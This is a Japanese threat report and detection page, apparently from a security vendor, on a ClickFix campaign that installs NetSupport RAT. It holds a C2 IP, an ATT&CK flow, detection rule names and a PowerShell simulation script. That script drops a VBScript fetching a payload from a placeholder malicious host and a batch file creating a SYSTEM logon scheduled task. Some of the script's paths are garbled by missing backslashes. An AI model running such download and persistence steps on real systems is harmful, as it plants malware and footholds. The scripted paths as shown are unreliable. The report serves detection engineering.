不明なローダーによって配信されるNetSupport RAT
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
以前未確認のリモートアクセスツールが、悪意のあるNetSupport Manager RATパッケージを配信しているのが観測されました。初期のマルウェアは、コマンド&コントロールサーバーに対して 89.110.110.119 のTCPポートを介して 443 エンコードされたトラフィックを使用して通信を行いました。このキャンペーンは、SmartApeSG ClickFixとして追跡され、悪意のあるスクリプトとCABアーカイブに依存して、被害者のシステムにNetSupport RATをインストールしました。
調査
調査では、悪意のあるURL、IPアドレス、および ProgramData ディレクトリに書き込まれたファイルなどの複数のインジケーターが明らかになりました。初期RATは、 setup.cab アーカイブからNetSupport RATを抽出しインストールするバッチスクリプトを配信しました。インストール完了後、支援ファイルを削除して活動の目に見える痕跡を減少させました。
緩和策
組織は、識別された悪意のあるIPアドレスとドメインへのネットワークトラフィックをブロックし、 ProgramData下記のファイル作成を監視するべきです。エンドポイントの防御は疑わしいVBScriptとバッチファイルの実行を検出し、ネットワークの監視はエンコードされたトラフィックに対してより厳格な制御を適用するべきです 443.
対応
防御者は、リストされたインジケーターに基づいて警告を出し、影響を受けたシステムを隔離し、フォレンジック分析を行って永続性のメカニズムを発見するべきです。悪意のあるファイルは削除され、未承認の変更は元に戻され、識別されたコマンド及びコントロールインフラへのアウトバウンド通信をブロックするようにファイアウォールポリシーを更新するべきです。
graph TB %% クラス定義 classDef action fill:#c2f0c2 node_a[“<b>アクション</b> – <b>T1204.001 ユーザー実行: 悪意のあるリンク</b><br/><b>説明</b>: 被害者が侵害されたページから悪意あるJavaScriptを読み込む。”] class node_a action node_b[“<b>アクション</b> – <b>T1027.006 難読化ファイル: HTMLスモグリング</b><br/><b>説明</b>: HTMLスモグリング技術によりエンコードされたスクリプトを配信する。”] class node_b action node_c[“<b>アクション</b> – <b>T1059.005 コマンドおよびスクリプト実行: Visual Basic</b><br/><b>説明</b>: processor.vbs が token.bat をシステムに展開する。”] class node_c action node_d[“<b>アクション</b> – バッチスクリプト実行<br/><b>結果</b>: NetSupport RAT をホストに展開する。”] class node_d action node_e[“<b>アクション</b> – <b>T1547.014 Active Setup</b> / <b>T1546.007 Netsh Helper DLL</b><br/><b>説明</b>: RAT を C:\\ProgramData\\UpdateInstaller に配置し永続化する。”] class node_e action node_f[“<b>アクション</b> – <b>T1574.007 パスインターセプト</b> / <b>T1574.005 弱いインストーラ権限</b><br/><b>説明</b>: 悪意あるPATHや弱い権限を利用して権限昇格を行う。”] class node_f action node_g[“<b>アクション</b> – <b>T1564 アーティファクト隠蔽</b> / <b>T1564.010 プロセス引数偽装</b><br/><b>説明</b>: ステージングファイル削除とプロセス引数偽装により検知回避する。”] class node_g action node_h[“<b>アクション</b> – <b>T1571 非標準ポート</b> / <b>T1071.001 Webプロトコル</b><br/><b>説明</b>: TCP 443 上で暗号化されたWeb通信によるC2通信。”] class node_h action %% 接続 node_a –> node_b –> node_c –> node_d –> node_e –> node_f –> node_g –> node_h
攻撃フロー
検出
LOLBAS WScript / CScript(プロセス作成経由)
表示
疑わしいディレクトリから実行する可能性のあるNetSupport Managerバイナリ(プロセス作成経由)
表示
不通常トップレベルドメイン(TLD)による疑わしいコマンドとコントロール(DNS経由)
表示
IOCs(HashSha256)の検出:識別されていないRATがNetSupport RATをプッシュ
表示
IOCs(SourceIP)の検出:識別されていないRATがNetSupport RATをプッシュ
表示
IOCs(DestinationIP)の検出:識別されていないRATがNetSupport RATをプッシュ
表示
スクリプトおよびCABファイルを使用したNetSupport RAT感染の検出[Windowsファイルイベント]
表示
初期およびNetSupport RATのC2通信の検出[Windowsネットワーク接続]
表示
シミュレーション実行
前提条件: テレメトリ & ベースラインの事前チェックが合格している必要があります。
根拠: このセクションは、検出ルールを引き起こすように設計された敵対者の技術的手法(TTP)の正確な実行を詳細に示します。コマンドとナラティブはTTPで特定されたものを直接反映し、検出ロジックによって期待される正確なテレメトリを生成することを目指します。
-
攻撃のナラティブとコマンド:
Windowsホストに最初の足場を得た攻撃者が、次の3つの悪意のあるアーティファクトをC:ProgramData:にドロップします。– メインRATバイナリをダウンロードするVisual Basicスクリプト。token.bat– 永続化のためのスケジュールタスクを作成するバッチファイル。setup.cab– DLLを含むCABアーカイブがドロップされ、C:ProgramDataに配置され、後でrundll32.exe.
を介してロードされます。攻撃者はそれぞれのファイルを順次実行し、プロセス作成イベントを引き起こし、Sigmaルールに要求される正確なファイルパスを含むテレメトリを生成します。
-
回帰テストスクリプト:
# netSupport_RAT_simulation.ps1 # ------------------------------------------------- # 目的: NetSupport RAT感染のテレメトリを再現 # ------------------------------------------------- $targetDir = "C:ProgramData" # ディレクトリが存在することを確認 if (-Not (Test-Path $targetDir)) { New-Item -ItemType Directory -Path $targetDir -Force } # 1. processor.vbsをドロップ $vbsPath = Join-Path $targetDir "processor.vbs" Set-Content -Path $vbsPath -Value @" Set objXML = CreateObject("MSXML2.XMLHTTP") objXML.open "GET","http://malicious.example.com/payload.exe",False objXML.send "@" # 2. token.batをドロップ $batPath = Join-Path $targetDir "token.bat" Set-Content -Path $batPath -Value @" schtasks /create /tn "NetSupportPersist" /tr "$targetDirsetup.cab" /sc onlogon /ru System "@ # 3. setup.cabをドロップ(テキストファイルを含むダミーのCAB) $cabPath = Join-Path $targetDir "setup.cab" $tempDir = "$env:TEMPcab_temp" New-Item -ItemType Directory -Path $tempDir -Force | Out-Null Set-Content -Path "$tempDirdummy.txt" -Value "placeholder" # CABを作成 – makecab(Windows組み込みツール)が必要 & makecab.exe "$tempDirdummy.txt" $cabPath # 実行フェーズ – 検出をトリガー Write-Host "`n[+] processor.vbsを実行します" cscript.exe //B //Nologo $vbsPath Write-Host "[+] token.batを実行します" cmd.exe /c $batPath Write-Host "[+] rundll32を介してsetup.cabを実行中(シミュレーションロード)" rundll32.exe "$cabPath",DummyEntryPoint # CAB作成に使用した一時フォルダをクリーンアップ Remove-Item -Recurse -Force $tempDir -
クリーニングコマンド:
# netSupport_RAT_cleanup.ps1 $targetDir = "C:ProgramData" $files = @("processor.vbs","token.bat","setup.cab") foreach ($f in $files) { $fullPath = Join-Path $targetDir $f if (Test-Path $fullPath) { Remove-Item -Force $fullPath } } # token.batによって作成されたスケジュールタスクを削除 schtasks /delete /tn "NetSupportPersist" /f Write-Host "クリーンアップ完了。"